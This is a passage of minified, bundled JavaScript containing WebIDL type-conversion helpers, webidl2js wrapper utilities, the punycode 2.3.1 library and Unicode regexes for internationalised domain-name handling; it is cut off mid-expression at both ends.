Boolean(A)};Nl4.byte=w_A(8,{unsigned:!1});Nl4.octet=w_A(8,{unsigned:!0});Nl4.short=w_A(16,{unsigned:!1});Nl4["unsigned short"]=w_A(16,{unsigned:!0});Nl4.long=w_A(32,{unsigned:!1});Nl4["unsigned long"]=w_A(32,{unsigned:!0});Nl4["long long"]=fl4(64,{unsigned:!1});Nl4["unsigned long long"]=fl4(64,{unsigned:!0});Nl4.double=(A,K={})=>{let q=z_A(A,K);if(!Number.isFinite(q))throw iz(TypeError,"is not a finite floating-point value",K);return q};Nl4["unrestricted double"]=(A,K={})=>{return z_A(A,K)};Nl4.float=(A,K={})=>{let q=z_A(A,K);if(!Number.isFinite(q))throw iz(TypeError,"is not a finite floating-point value",K);if(Object.is(q,-0))return q;let Y=Math.fround(q);if(!Number.isFinite(Y))throw iz(TypeError,"is outside the range of a single-precision floating-point value",K);return Y};Nl4["unrestricted float"]=(A,K={})=>{let q=z_A(A,K);if(isNaN(q))return q;if(Object.is(q,-0))return q;return Math.fround(q)};Nl4.DOMString=(A,K={})=>{if(K.treatNullAsEmptyString&&A===null)return"";if(typeof A==="symbol")throw iz(TypeError,"is a symbol, which cannot be converted to a string",K);return(K.globals?K.globals.String:String)(A)};Nl4.ByteString=(A,K={})=>{let q=Nl4.DOMString(A,K),Y;for(let z=0;(Y=q.codePointAt(z))!==void 0;++z)if(Y>255)throw iz(TypeError,"is not a valid ByteString",K);return q};Nl4.USVString=(A,K={})=>{let q=Nl4.DOMString(A,K),Y=q.length,z=[];for(let w=0;w<Y;++w){let H=q.charCodeAt(w);if(H<55296||H>57343)z.push(String.fromCodePoint(H));else if(56320<=H&&H<=57343)z.push(String.fromCodePoint(65533));else if(w===Y-1)z.push(String.fromCodePoint(65533));else{let J=q.charCodeAt(w+1);if(56320<=J&&J<=57343){let O=H&1023,X=J&1023;z.push(String.fromCodePoint(65536+1024*O+X)),++w}else z.push(String.fromCodePoint(65533))}}return z.join("")};Nl4.object=(A,K={})=>{if(A===null||typeof A!=="object"&&typeof A!=="function")throw iz(TypeError,"is not an object",K);return A};var nc9=Object.getOwnPropertyDescriptor(ArrayBuffer.prototype,"byteLength").get,rc9=typeof SharedArrayBuffer==="function"?Object.getOwnPropertyDescriptor(SharedArrayBuffer.prototype,"byteLength").get:null;function xw6(A){try{return nc9.call(A),!0}catch{return!1}}function q_A(A){try{return rc9.call(A),!0}catch{return!1}}function Y_A(A){try{return new Uint8Array(A),!1}catch{return!0}}Nl4.ArrayBuffer=(A,K={})=>{if(!xw6(A)){if(K.allowShared&&!q_A(A))throw iz(TypeError,"is not an ArrayBuffer or SharedArrayBuffer",K);throw iz(TypeError,"is not an ArrayBuffer",K)}if(Y_A(A))throw iz(TypeError,"is a detached ArrayBuffer",K);return A};var oc9=Object.getOwnPropertyDescriptor(DataView.prototype,"byteLength").get;Nl4.DataView=(A,K={})=>{try{oc9.call(A)}catch(q){throw iz(TypeError,"is not a DataView",K)}if(!K.allowShared&&q_A(A.buffer))throw iz(TypeError,"is backed by a SharedArrayBuffer, which is not allowed",K);if(Y_A(A.buffer))throw iz(TypeError,"is backed by a detached ArrayBuffer",K);return A};var ac9=Object.getOwnPropertyDescriptor(Object.getPrototypeOf(Uint8Array).prototype,Symbol.toStringTag).get;[Int8Array,Int16Array,Int32Array,Uint8Array,Uint16Array,Uint32Array,Uint8ClampedArray,Float32Array,Float64Array].forEach((A)=>{let{name:K}=A,q=/^[AEIOU]/u.test(K)?"an":"a";Nl4[K]=(Y,z={})=>{if(!ArrayBuffer.isView(Y)||ac9.call(Y)!==K)throw iz(TypeError,`is not ${q} ${K} object`,z);if(!z.allowShared&&q_A(Y.buffer))throw iz(TypeError,"is a view on a SharedArrayBuffer, which is not allowed",z);if(Y_A(Y.buffer))throw iz(TypeError,"is a view on a detached ArrayBuffer",z);return Y}});Nl4.ArrayBufferView=(A,K={})=>{if(!ArrayBuffer.isView(A))throw iz(TypeError,"is not a view on an ArrayBuffer or SharedArrayBuffer",K);if(!K.allowShared&&q_A(A.buffer))throw iz(TypeError,"is a view on a SharedArrayBuffer, which is not allowed",K);if(Y_A(A.buffer))throw iz(TypeError,"is a view on a detached ArrayBuffer",K);return A};Nl4.BufferSource=(A,K={})=>{if(ArrayBuffer.isView(A)){if(!K.allowShared&&q_A(A.buffer))throw iz(TypeError,"is a view on a SharedArrayBuffer, which is not allowed",K);if(Y_A(A.buffer))throw iz(TypeError,"is a view on a detached ArrayBuffer",K);return A}if(!K.allowShared&&!xw6(A))throw iz(TypeError,"is not an ArrayBuffer or a view on one",K);if(K.allowShared&&!q_A(A)&&!xw6(A))throw iz(TypeError,"is not an ArrayBuffer, SharedArrayBuffer, or a view on one",K);if(Y_A(A))throw iz(TypeError,"is a detached ArrayBuffer",K);return A};Nl4.DOMTimeStamp=Nl4["unsigned long long"]});var Rz1=v((yl4,Il4)=>{function Vl9(A){return typeof A==="object"&&A!==null||typeof A==="function"}var vl4=Function.prototype.call.bind(Object.prototype.hasOwnProperty);function fl9(A,K){for(let q of Reflect.ownKeys(K)){let Y=Reflect.getOwnPropertyDescriptor(K,q);if(Y&&!Reflect.defineProperty(A,q,Y))throw TypeError(`Cannot redefine property: ${String(q)}`)}}function Nl9(A,K){let q=Cl4(A);return Object.defineProperties(Object.create(q["%Object.prototype%"]),Object.getOwnPropertyDescriptors(K))}var El4=Symbol("wrapper"),kl4=Symbol("impl"),H_A=Symbol("SameObject caches"),Lz1=Symbol.for("[webidl2js] constructor registry"),Tl9=Object.getPrototypeOf(Object.getPrototypeOf(async function*(){}).prototype);function Cl4(A){if(vl4(A,Lz1))return A[Lz1];let K=Object.create(null);K["%Object.prototype%"]=A.Object.prototype,K["%IteratorPrototype%"]=Object.getPrototypeOf(Object.getPrototypeOf(new A.Array()[Symbol.iterator]()));try{K["%AsyncIteratorPrototype%"]=Object.getPrototypeOf(Object.getPrototypeOf(A.eval("(async function* () {})").prototype))}catch{K["%AsyncIteratorPrototype%"]=Tl9}return A[Lz1]=K,K}function vl9(A,K,q){if(!A[H_A])A[H_A]=Object.create(null);if(K in A[H_A])return A[H_A][K];return A[H_A][K]=q(),A[H_A][K]}function Ll4(A){return A?A[El4]:null}function Rl4(A){return A?A[kl4]:null}function El9(A){let K=Ll4(A);return K?K:A}function kl9(A){let K=Rl4(A);return K?K:A}var Cl9=Symbol("internal");function Ll9(A){if(typeof A!=="string")return!1;let K=A>>>0;if(K===4294967295)return!1;let q=`${K}`;if(A!==q)return!1;return!0}var Rl9=Object.getOwnPropertyDescriptor(ArrayBuffer.prototype,"byteLength").get;function yl9(A){try{return Rl9.call(A),!0}catch(K){return!1}}function Il9([A,K],q){let Y;switch(q){case"key":Y=A;break;case"value":Y=K;break;case"key+value":Y=[A,K];break}return{value:Y,done:!1}}var Sl9=Symbol("supports property index"),hl9=Symbol("supported property indices"),bl9=Symbol("supports property name"),xl9=Symbol("supported property names"),ul9=Symbol("indexed property get"),Bl9=Symbol("indexed property set new"),ml9=Symbol("indexed property set existing"),gl9=Symbol("named property get"),Fl9=Symbol("named property set new"),Ql9=Symbol("named property set existing"),Ul9=Symbol("named property delete"),pl9=Symbol("async iterator get the next iteration result"),dl9=Symbol("async iterator return steps"),cl9=Symbol("async iterator initialization steps"),ll9=Symbol("async iterator end of iteration");Il4.exports=yl4={isObject:Vl9,hasOwn:vl4,define:fl9,newObjectInRealm:Nl9,wrapperSymbol:El4,implSymbol:kl4,getSameObject:vl9,ctorRegistrySymbol:Lz1,initCtorRegistry:Cl4,wrapperForImpl:Ll4,implForWrapper:Rl4,tryWrapperForImpl:El9,tryImplForWrapper:kl9,iterInternalSymbol:Cl9,isArrayBuffer:yl9,isArrayIndexPropName:Ll9,supportsPropertyIndex:Sl9,supportedPropertyIndices:hl9,supportsPropertyName:bl9,supportedPropertyNames:xl9,indexedGet:ul9,indexedSetNew:Bl9,indexedSetExisting:ml9,namedGet:gl9,namedSetNew:Fl9,namedSetExisting:Ql9,namedDelete:Ul9,asyncIteratorNext:pl9,asyncIteratorReturn:dl9,asyncIteratorInit:cl9,asyncIteratorEOI:ll9,iteratorResult:Il9}});var gl4=v((hNw,ml4)=>{var il9=/^xn--/,nl9=/[^\0-\x7F]/,rl9=/[\x2E\u3002\uFF0E\uFF61]/g,ol9={overflow:"Overflow: input needs wider integers to process","not-basic":"Illegal input >= 0x80 (not a basic code point)","invalid-input":"Invalid input"},Xu=Math.floor,Bw6=String.fromCharCode;function Yo(A){throw RangeError(ol9[A])}function al9(A,K){let q=[],Y=A.length;while(Y--)q[Y]=K(A[Y]);return q}function hl4(A,K){let q=A.split("@"),Y="";if(q.length>1)Y=q[0]+"@",A=q[1];A=A.replace(rl9,".");let z=A.split("."),w=al9(z,K).join(".");return Y+w}function bl4(A){let K=[],q=0,Y=A.length;while(q<Y){let z=A.charCodeAt(q++);if(z>=55296&&z<=56319&&q<Y){let w=A.charCodeAt(q++);if((w&64512)==56320)K.push(((z&1023)<<10)+(w&1023)+65536);else K.push(z),q--}else K.push(z)}return K}var sl9=(A)=>String.fromCodePoint(...A),tl9=function(A){if(A>=48&&A<58)return 26+(A-48);if(A>=65&&A<91)return A-65;if(A>=97&&A<123)return A-97;return 36},Sl4=function(A,K){return A+22+75*(A<26)-((K!=0)<<5)},xl4=function(A,K,q){let Y=0;A=q?Xu(A/700):A>>1,A+=Xu(A/K);for(;A>455;Y+=36)A=Xu(A/35);return Xu(Y+36*A/(A+38))},ul4=function(A){let K=[],q=A.length,Y=0,z=128,w=72,H=A.lastIndexOf("-");if(H<0)H=0;for(let J=0;J<H;++J){if(A.charCodeAt(J)>=128)Yo("not-basic");K.push(A.charCodeAt(J))}for(let J=H>0?H+1:0;J<q;){let O=Y;for(let $=1,_=36;;_+=36){if(J>=q)Yo("invalid-input");let G=tl9(A.charCodeAt(J++));if(G>=36)Yo("invalid-input");if(G>Xu((2147483647-Y)/$))Yo("overflow");Y+=G*$;let Z=_<=w?1:_>=w+26?26:_-w;if(G<Z)break;let W=36-Z;if($>Xu(2147483647/W))Yo("overflow");$*=W}let X=K.length+1;if(w=xl4(Y-O,X,O==0),Xu(Y/X)>2147483647-z)Yo("overflow");z+=Xu(Y/X),Y%=X,K.splice(Y++,0,z)}return String.fromCodePoint(...K)},Bl4=function(A){let K=[];A=bl4(A);let q=A.length,Y=128,z=0,w=72;for(let O of A)if(O<128)K.push(Bw6(O));let H=K.length,J=H;if(H)K.push("-");while(J<q){let O=2147483647;for(let $ of A)if($>=Y&&$<O)O=$;let X=J+1;if(O-Y>Xu((2147483647-z)/X))Yo("overflow");z+=(O-Y)*X,Y=O;for(let $ of A){if($<Y&&++z>2147483647)Yo("overflow");if($===Y){let _=z;for(let G=36;;G+=36){let Z=G<=w?1:G>=w+26?26:G-w;if(_<Z)break;let W=_-Z,D=36-Z;K.push(Bw6(Sl4(Z+W%D,0))),_=Xu(W/D)}K.push(Bw6(Sl4(_,0))),w=xl4(z,X,J===H),z=0,++J}}++z,++Y}return K.join("")},el9=function(A){return hl4(A,function(K){return il9.test(K)?ul4(K.slice(4).toLowerCase()):K})},Ai9=function(A){return hl4(A,function(K){return nl9.test(K)?"xn--"+Bl4(K):K})},Ki9={version:"2.3.1",ucs2:{decode:bl4,encode:sl9},decode:ul4,encode:Bl4,toASCII:Ai9,toUnicode:el9};ml4.exports=Ki9});var Ql4=v((bNw,Fl4)=>{var qi9=/[\u0300-\u036F\u0483-\u0489\u0591-\u05BD\u05BF\u05C1\u05C2\u05C4\u05C5\u05C7\u0610-\u061A\u064B-\u065F\u0670\u06D6-\u06DC\u06DF-\u06E4\u06E7\u06E8\u06EA-\u06ED\u0711\u0730-\u074A\u07A6-\u07B0\u07EB-\u07F3\u07FD\u0816-\u0819\u081B-\u0823\u0825-\u0827\u0829-\u082D\u0859-\u085B\u0897-\u089F\u08CA-\u08E1\u08E3-\u0903\u093A-\u093C\u093E-\u094F\u0951-\u0957\u0962\u0963\u0981-\u0983\u09BC\u09BE-\u09C4\u09C7\u09C8\u09CB-\u09CD\u09D7\u09E2\u09E3\u09FE\u0A01-\u0A03\u0A3C\u0A3E-\u0A42\u0A47\u0A48\u0A4B-\u0A4D\u0A51\u0A70\u0A71\u0A75\u0A81-\u0A83\u0ABC\u0ABE-\u0AC5\u0AC7-\u0AC9\u0ACB-\u0ACD\u0AE2\u0AE3\u0AFA-\u0AFF\u0B01-\u0B03\u0B3C\u0B3E-\u0B44\u0B47\u0B48\u0B4B-\u0B4D\u0B55-\u0B57\u0B62\u0B63\u0B82\u0BBE-\u0BC2\u0BC6-\u0BC8\u0BCA-\u0BCD\u0BD7\u0C00-\u0C04\u0C3C\u0C3E-\u0C44\u0C46-\u0C48\u0C4A-\u0C4D\u0C55\u0C56\u0C62\u0C63\u0C81-\u0C83\u0CBC\u0CBE-\u0CC4\u0CC6-\u0CC8\u0CCA-\u0CCD\u0CD5\u0CD6\u0CE2\u0CE3\u0CF3\u0D00-\u0D03\u0D3B\u0D3C\u0D3E-\u0D44\u0D46-\u0D48\u0D4A-\u0D4D\u0D57\u0D62\u0D63\u0D81-\u0D83\u0DCA\u0DCF-\u0DD4\u0DD6\u0DD8-\u0DDF\u0DF2\u0DF3\u0E31\u0E34-\u0E3A\u0E47-\u0E4E\u0EB1\u0EB4-\u0EBC\u0EC8-\u0ECE\u0F18\u0F19\u0F35\u0F37\u0F39\u0F3E\u0F3F\u0F71-\u0F84\u0F86\u0F87\u0F8D-\u0F97\u0F99-\u0FBC\u0FC6\u102B-\u103E\u1056-\u1059\u105E-\u1060\u1062-\u1064\u1067-\u106D\u1071-\u1074\u1082-\u108D\u108F\u109A-\u109D\u135D-\u135F\u1712-\u1715\u1732-\u1734\u1752\u1753\u1772\u1773\u17B4-\u17D3\u17DD\u180B-\u180D\u180F\u1885\u1886\u18A9\u1920-\u192B\u1930-\u193B\u1A17-\u1A1B\u1A55-\u1A5E\u1A60-\u1A7C\u1A7F\u1AB0-\u1ACE\u1B00-\u1B04\u1B34-\u1B44\u1B6B-\u1B73\u1B80-\u1B82\u1BA1-\u1BAD\u1BE6-\u1BF3\u1C24-\u1C37\u1CD0-\u1CD2\u1CD4-\u1CE8\u1CED\u1CF4\u1CF7-\u1CF9\u1DC0-\u1DFF\u20D0-\u20F0\u2CEF-\u2CF1\u2D7F\u2DE0-\u2DFF\u302A-\u302F\u3099\u309A\uA66F-\uA672\uA674-\uA67D\uA69E\uA69F\uA6F0\uA6F1\uA802\uA806\uA80B\uA823-\uA827\uA82C\uA880\uA881\uA8B4-\uA8C5\uA8E0-\uA8F1\uA8FF\uA926-\uA92D\uA947-\uA953\uA980-\uA983\uA9B3-\uA9C0\uA9E5\uAA29-\uAA36\uAA43\uAA4C\uAA4D\uAA7B-\uAA7D\uAAB0\uAAB2-\uAAB4\uAAB7\uAAB8\uAABE\uAABF\uAAC1\uAAEB-\uAAEF\uAAF5\uAAF6\uABE3-\uABEA\uABEC\uABED\uFB1E\uFE00-\uFE0F\uFE20-\uFE2F\u{101FD}\u{102E0}\u{10376}-\u{1037A}\u{10A01}-\u{10A03}\u{10A05}\u{10A06}\u{10A0C}-\u{10A0F}\u{10A38}-\u{10A3A}\u{10A3F}\u{10AE5}\u{10AE6}\u{10D24}-\u{10D27}\u{10D69}-\u{10D6D}\u{10EAB}\u{10EAC}\u{10EFC}-\u{10EFF}\u{10F46}-\u{10F50}\u{10F82}-\u{10F85}\u{11000}-\u{11002}\u{11038}-\u{11046}\u{11070}\u{11073}\u{11074}\u{1107F}-\u{11082}\u{110B0}-\u{110BA}\u{110C2}\u{11100}-\u{11102}\u{11127}-\u{11134}\u{11145}\u{11146}\u{11173}\u{11180}-\u{11182}\u{111B3}-\u{111C0}\u{111C9}-\u{111CC}\u{111CE}\u{111CF}\u{1122C}-\u{11237}\u{1123E}\u{11241}\u{112DF}-\u{112EA}\u{11300}-\u{11303}\u{1133B}\u{1133C}\u{1133E}-\u{11344}\u{11347}\u{11348}\u{1134B}-\u{1134D}\u{11357}\u{11362}\u{11363}\u{11366}-\u{1136C}\u{11370}-\u{11374}\u{113B8}-\u{113C0}\u{113C2}\u{113C5}\u{113C7}-\u{113CA}\u{113CC}-\u{113D0}\u{113D2}\u{113E1}\u{113E2}\u{11435}-\u{11446}\u{1145E}\u{114B0}-\u{114C3}\u{115AF}-\u{115B5}\u{115B8}-\u{115C0}\u{115DC}\u{115DD}\u{11630}-\u{11640}\u{116AB}-\u{116B7}\u{1171D}-\u{1172B}\u{1182C}-\u{1183A}\u{11930}-\u{11935}\u{11937}\u{11938}\u{1193B}-\u{1193E}\u{11940}\u{11942}\u{11943}\u{119D1}-\u{119D7}\u{119DA}-\u{119E0}\u{119E4}\u{11A01}-\u{11A0A}\u{11A33}-\u{11A39}\u{11A3B}-\u{11A3E}\u{11A47}\u{11A51}-\u{11A5B}\u{11A8A}-\u{11A99}\u{11C2F}-\u{11C36}\u{11C38}-\u{11C3F}\u{11C92}-\u{11CA7}\u{11CA9}-\u{11CB6}\u{11D31}-\u{11D36}\u{11D3A}\u{11D3C}\u{11D3D}\u{11D3F}-\u{11D45}\u{11D47}\u{11D8A}-\u{11D8E}\u{11D90}\u{11D91}\u{11D93}-\u{11D97}\u{11EF3}-\u{11EF6}\u{11F00}\u{11F01}\u{11F03}\u{11F34}-\u{11F3A}\u{11F3E}-\u{11F42}\u{11F5A}\u{13440}\u{13447}-\u{13455}\u{1611E}-\u{1612F}\u{16AF0}-\u{16AF4}\u{16B30}-\u{16B36}\u{16F4F}\u{16F51}-\u{16F87}\u{16F8F}-\u{16F92}\u{16FE4}\u{16FF0}\u{16FF1}\u{1BC9D}\u{1BC9E}\u{1CF00}-\u{1CF2D}\u{1CF30}-\u{1CF46}\u{1D165}-\u{1D169}\u{1D16D}-\u{1D172}\u{1D17B}-\u{1D182}\u{1D185}-\u{1D18B}\u{1D1AA}-\u{1D1AD}\u{1D242}-\u{1D244}\u{1DA00}-\u{1DA36}\u{1DA3B}-\u{1DA6C}\u{1DA75}\u{1DA84}\u{1DA9B}-\u{1DA9F}\u{1DAA1}-\u{1DAAF}\u{1E000}-\u{1E006}\u{1E008}-\u{1E018}\u{1E01B}-\u{1E021}\u{1E023}\u{1E024}\u{1E026}-\u{1E02A}\u{1E08F}\u{1E130}-\u{1E136}\u{1E2AE}\u{1E2EC}-\u{1E2EF}\u{1E4EC}-\u{1E4EF}\u{1E5EE}\u{1E5EF}\u{1E8D0}-\u{1E8D6}\u{1E944}-\u{1E94A}\u{E0100}-\u{E01EF}]/u,Yi9=/[\u094D\u09CD\u0A4D\u0ACD\u0B4D\u0BCD\u0C4D\u0CCD\u0D3B\u0D3C\u0D4D\u0DCA\u0E3A\u0EBA\u0F84\u1039\u103A\u1714\u1715\u1734\u17D2\u1A60\u1B44\u1BAA\u1BAB\u1BF2\u1BF3\u2D7F\uA806\uA82C\uA8C4\uA953\uA9C0\uAAF6\uABED\u{10A3F}\u{11046}\u{11070}\u{1107F}\u{110B9}\u{11133}\u{11134}\u{111C0}\u{11235}\u{112EA}\u{1134D}\u{113CE}-\u{113D0}\u{11442}\u{114C2}\u{115BF}\u{1163F}\u{116B6}\u{1172B}\u{11839}\u{1193D}\u{1193E}\u{119E0}\u{11A34}\u{11A47}\u{11A99}\u{11C3F}\u{11D44}\u{11D45}\u{11D97}\u{11F41}\u{11F42}\u{1612F}]/u,zi9=/[\u0620\u0626\u0628\u062A-\u062E\u0633-\u063F\u0641-\u0647\u0649\u064A\u066E\u066F\u0678-\u0687\u069A-\u06BF\u06C1\u06C2\u06CC\u06CE\u06D0\u06D1\u06FA-\u06FC\u06FF\u0712-\u0714\u071A-\u071D\u071F-\u0727\u0729\u072B\u072D\u072E\u074E-\u0758\u075C-\u076A\u076D-\u0770\u0772\u0775-\u0777\u077A-\u077F\u07CA-\u07EA\u0841-\u0845\u0848\u084A-\u0853\u0855\u0860\u0862-\u0865\u0868\u0886\u0889-\u088D\u08A0-\u08A9\u08AF\u08B0\u08B3-\u08B8\u08BA-\u08C8\u1807\u1820-\u1878\u1887-\u18A8\u18AA\uA840-\uA872\u{10AC0}-\u{10AC4}\u{10ACD}\u{10AD3}-\u{10ADC}\u{10ADE}-\u{10AE0}\u{10AEB}-\u{10AEE}\u{10B80}\u{10B82}\u{10B86}-\u{10B88}\u{10B8A}\u{10B8B}\u{10B8D}\u{10B90}\u{10BAD}\u{10BAE}\u{10D00}-\u{10D21}\u{10D23}\u{10EC3}\u{10EC4}\u{10F30}-\u{10F32}\u{10F34}-\u{10F44}\u{10F51}-\u{10F53}\u{10F70}-\u{10F73}\u{10F76}-\u{10F81}\u{10FB0}\u{10FB2}\u{10FB3}\u{10FB8}\u{10FBB}\u{10FBC}\u{10FBE}\u{10FBF}\u{10FC1}\u{10FC4}\u{10FCA}\u{10FCB}\u{1E900}-\u{1E943}][\xAD\u0300-\u036F\u0483-\u0489\u0591-\u05BD\u05BF\u05C1\u05C2\u05C4\u05C5\u05C7\u0610-\u061A\u061C\u064B-\u065F\u0670\u06D6-\u06DC\u06DF-\u06E4\u06E7\u06E8\u06EA-\u06ED\u070F\u0711\u0730-\u074A\u07A6-\u07B0\u07EB-\u07F3\u07FD\u0816-\u0819\u081B-\u0823\u0825-\u0827\u0829-\u082D\u0859-\u085B\u0897-\u089F\u08CA-\u08E1\u08E3-\u0902\u093A\u093C\u0941-\u0948\u094D\u0951-\u0957\u0962\u0963\u0981\u09BC\u09C1-\u09C4\u09CD\u09E2\u09E3\u09FE\u0A01\u0A02\u0A3C\u0A41\u0A42\u0A47\u0A48\u0A4B-\u0A4D\u0A51\u0A70\u0A71\u0A75\u0A81\u0A82\u0ABC\u0AC1-\u0AC5\u0AC7\u0AC8\u0ACD\u0AE2\u0AE3\u0AFA-\u0AFF\u0B01\u0B3C\u0B3F\u0B41-\u0B44\u0B4D\u0B55\u0B56\u0B62\u0B63\u0B82\u0BC0\u0BCD\u0C00\u0C04\u0C3C\u0C3E-\u0C40\u0C46-\u0C48\u0C4A-\u0C4D\u0C55\u0C56\u0C62\u0C63\u0C81\u0CBC\u0CBF\u0CC6\u0CCC\u0CCD\u0CE2\u0CE3\u0D00\u0D01\u0D3B\u0D3C\u0D41-\u0D44\u0D4D\u0D62\u0D63\u0D81\u0DCA\u0DD2-\u0DD4\u0DD6\u0E31\u0E34-\u0E3A\u0E47-\u0E4E\u0EB1\u0EB4-\u0EBC\u0EC8-\u0ECE\u0F18\u0F19\u0F35\u0F37\u0F39\u0F71-\u0F7E\u0F80-\u0F84\u0F86\u0F87\u0F8D-\u0F97\u0F99-\u0FBC\u0FC6\u102D-\u1030\u1032-\u1037\u1039\u103A\u103D\u103E\u1058\u1059\u105E-\u1060\u1071-\u1074\u1082\u1085\u1086\u108D\u109D\u135D-\u135F\u1712-\u1714\u1732\u1733\u1752\u1753\u1772\u1773\u17B4\u17B5\u17B7-\u17BD\u17C6\u17C9-\u17D3\u17DD\u180B-\u180D\u180F\u1885\u1886\u18A9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193B\u1A17\u1A18\u1A1B\u1A56\u1A58-\u1A5E\u1A60\u1A62\u1A65-\u1A6C\u1A73-\u1A7C\u1A7F\u1AB0-\u1ACE\u1B00-\u1B03\u1B34\u1B36-\u1B3A\u1B3C\u1B42\u1B6B-\u1B73\u1B80\u1B81\u1BA2-\u1BA5\u1BA8\u1BA9\u1BAB-\u1BAD\u1BE6\u1BE8\u1BE9\u1BED\u1BEF-\u1BF1\u1C2C-\u1C33\u1C36\u1C37\u1CD0-\u1CD2\u1CD4-\u1CE0\u1CE2-\u1CE8\u1CED\u1CF4\u1CF8\u1CF9\u1DC0-\u1DFF\u200B\u200E\u200F\u202A-\u202E\u2060-\u2064\u206A-\u206F\u20D0-\u20F0\u2CEF-\u2CF1\u2D7F\u2DE0-\u2DFF\u302A-\u302D\u3099\u309A\uA66F-\uA672\uA674-\uA67D\uA69E\uA69F\uA6F0\uA6F1\uA802\uA806\uA80B\uA825\uA826\uA82C\uA8C4\uA8C5\uA8E0-\uA8F1\uA8FF\uA926-\uA92D\uA947-\uA951\uA980-\uA982\uA9B3\uA9B6-\uA9B9\uA9BC\uA9BD\uA9E5\uAA29-\uAA2E\uAA31\uAA32\uAA35\uAA36\uAA43\uAA4C\uAA7C\uAAB0\uAAB2-\uAAB4\uAAB7\uAAB8\uAABE\uAABF\uAAC1\uAAEC\uAAED\uAAF6\uABE5\uABE8\uABED\uFB1E\uFE00-\uFE0F\uFE20-\uFE2F\uFEFF\uFFF9-\uFFFB\u{101FD}\u{102E0}\u{10376}-\u{1037A}\u{10A01}-\u{10A03}\u{10A05}\u{10A06}\u{10A0C}-\u{10A0F}\u{10A38}-\u{10A3A}\u{10A3F}\u{10AE5}\u{10AE6}\u{10D24}-\u{10D27}\u{10D69}-\u{10D6D}\u{10EAB}\u{10EAC}\u{10EFC}-\u{10EFF}\u{10F46}-\u{10F50}\u{10F82}-\u{10F85}\u{11001}\u{11038}-\u{11046}\u{11070}\u{11073}\u{11074}\u{1107F}-\u{11081}\u{110B3}-\u{110B6}\u{110B9}\u{110BA}\u{110C2}\u{11100}-\u{11102}\u{11127}-\u{1112B}\u{1112D}-\u{11134}\u{11173}\u{11180}\u{11181}\u{111B6}-\u{111BE}\u{111C9}-\u{111CC}\u{111CF}\u{1122F}-\u{11231}\u{11234}\u{11236}\u{11237}\u{1123E}\u{11241}\u{112DF}\u{112E3}-\u{112EA}\u{11300}\u{11301}\u{1133B}\u{1133C}\u{11340}\u{11366}-\u{1136C}\u{11370}-\u{11374}\u{113BB}-\u{113C0}\u{113CE}\u{113D0}\u{113D2}\u{113E1}\u{113E2}\u{11438}-\u{1143F}\u{11442}-\u{11444}\u{11446}\u{1145E}\u{114B3}-\u{114B8}\u{114BA}\u{114BF}\u{114C0}\u{114C2}\u{114C3}\u{115B2}-\u{115B5}\u{115BC}\u{115BD}\u{115BF}\u{115C0}\u{115DC}\u{115DD}\u{11633}-\u{1163A}\u{1163D}\u{1163F}\u{11640}\u{116AB}\u{116AD}\u{116B0}-\u{116B5}\u{116B7}\u{1171D}\u{1171F}\u{11722}-\u{11725}\u{11727}-\u{1172B}\u{1182F}-\u{11837}\u{11839}\u{1183A}\u{1193B}\u{1193C}\u{1193E}\u{11943}\u{119D4}-\u{119D7}\u{119DA}\u{119DB}\u{119E0}\u{11A01}-\u{11A0A}\u{11A33}-\u{11A38}\u{11A3B}-\u{11A3E}\u{11A47}\u{11A51}-\u{11A56}\u{11A59}-\u{11A5B}\u{11A8A}-\u{11A96}\u{11A98}\u{11A99}\u{11C30}-\u{11C36}\u{11C38}-\u{11C3D}\u{11C3F}\u{11C92}-\u{11CA7}\u{11CAA}-\u{11CB0}\u{11CB2}\u{11CB3}\u{11CB5}\u{11CB6}\u{11D31}-\u{11D36}\u{11D3A}\u{11D3C}\u{11D3D}\u{11D3F}-\u{11D45}\u{11D47}\u{11D90}\u{11D91}\u{11D95}\u{11D97}\u{11EF3}\u{11EF4}\u{11F00}\u{11F01}\u{11F36}-\u{11F3A}\u{11F40}\u{11F42}\u{11F5A}\u{13430}-\u{13440}\u{13447}-\u{13455}\u{1611E}-\u{16129}\u{1612D}-\u{1612F}\u{16AF0}-\u{16AF4}\u{16B30}-\u{16B36}\u{16F4F}\u{16F8F}-\u{16F92}\u{16FE4}\u{1BC9D}\u{1BC9E}\u{1BCA0}-\u{1BCA3}\u{1CF00}-\u{1CF2D}\u{1CF30}-\u{1CF46}\u{1D167}-\u{1D169}\u{1D173}-\u{1D182}\u{1D185}-\u{1D18B}\u{1D1AA}-\u{1D1AD}\u{1D242}-\u{1D244}\u{1DA00}-\u{1DA36}\u{1DA3B}-\u{1DA6C}\u{1DA75}\u{1DA84}\u{1DA9B}-\u{1DA9F}\u{1DAA1}-\u{1DAAF}\u{1E000}-\u{1E006}\u{1E008}-\u{1E018}\u{1E01B}-\u{1E021}\u{1E023}\u{1E024}\u{1E026}-\u{1E02A}\u{1E08F}\u{1E130}-\u{1E136}\u{1E2AE}\u{1E2EC}-\u{1E2EF}\u{1E4EC}-\u{1E4EF}\u{1E5EE}\u{1E5EF}\u{1E8D0}-\u{1E8D6}\u{1E944}-\u{1E94B}\u{E0001}\u{E0020}-\u{E007F}\u{E0100}-\u{E01EF}]*\u200C[\xAD\u0300-\u036F\u0483-\u0489\u0591-\u05BD\u05BF\u05C1\u05C2\u05C4\u05C5\u05C7\u0610-\u061A\u061C\u064B-\u065F\u0670\u06D6-\u06DC\u06DF-\u06E4\u06E7\u06E8\u06EA-\u06ED\u070F\u0711\u0730-\u074A\u07A6-\u07B0\u07EB-\u07F3\u07FD\u0816-\u0819\u081B-\u0823\u0825-\u0827\u0829-\u082D\u0859-\u085B\u0897-\u089F\u08CA-\u08E1\u08E3-\u0902\u093A\u093C\u0941-\u0948\u094D\u0951-\u0957\u0962\u0963\u0981\u09BC\u09C1-\u09C4\u09CD\u09E2\u09E3\u09FE\u0A01\u0A02\u0A3C\u0A41\u0A42\u0A47\u0A48\u0A4B-\u0A4D\u0A51\u0A70\u0A71\u0A75\u0A81\u0A82\u0ABC\u0AC1-\u0AC5\u0AC7\u0AC8\u0ACD\u0AE2\u0AE3\u0AFA-\u0AFF\u0B01\u0B3C\u0B3F\u0B41-\u0B44\u0B4D\u0B55\u0B56\u0B62\u0B63\u0B82\u0BC0\u0BCD\u0C00\u0C04\u0C3C\u0C3E-\u0C40\u0C46-\u0C48\u0C4A-\u0C4D\u0C55\u0C56\u0C62\u0C63\u0C81\u0CBC\u0CBF\u0CC6\u0CCC\u0CCD\u0CE2\u0CE3\u0D00\u0D01\u0D3B\u0D3C\u0D41-\u0D44\u0D4D\u0D62\u0D63\u0D81\u0D